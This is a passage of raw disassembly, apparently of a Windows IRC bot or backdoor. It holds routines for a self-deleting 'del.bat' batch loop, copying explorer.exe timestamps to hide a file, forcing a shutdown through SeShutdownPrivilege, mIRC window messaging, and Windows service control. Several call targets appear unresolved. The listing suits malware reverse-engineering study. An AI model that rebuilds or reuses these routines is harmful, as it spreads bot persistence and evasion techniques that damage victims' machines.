loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680E92h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2800000h
		nop
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB1CC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9F4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CBA14
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 2810676h
		push	esi
		mov	edi, eax
		call	near ptr 2810000h
		nop
		call	dword_4CBA78
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CBA30
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 2820551h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 28203EAh
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA80
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA80
		push	ebx
		nop
		call	near ptr 2820000h
		push	edi
		nop
		call	near ptr 2660C52h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBAE0
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 283068Ah
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2830000h
		nop
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB964
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAF4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26A01C3h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 272077Bh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2710000h
		nop
		push	edi
		nop
		call	near ptr 2660C52h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DBD8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 269058Bh
		push	eax
		nop
		call	near ptr 2670343h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26904CBh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2690328h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2840000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2670000h
		nop


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D0501h
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB9A4
		push	edi
		push	eax
		call	dword_4CB9B4
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_439548


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_439520
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394F0
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D0501h
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26B031Ch
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27C0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439570[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43956C[esi]
		push	offset unk_439680


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA90
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439654
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA90
		push	off_439568[eax*4]
		push	offset unk_439630
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CBA18
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		nop
		call	near ptr 2680E92h
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB900
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 2680E92h
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB96C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB908
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB970


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	near ptr 2680E92h
		nop
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB91C


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB91C
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB3D0
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB3D0
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB3D0
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CBA18
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_418F1A
		call	near ptr 2680E92h
		nop
		cmp	eax, 0EAh
		jnz	loc_418FCE


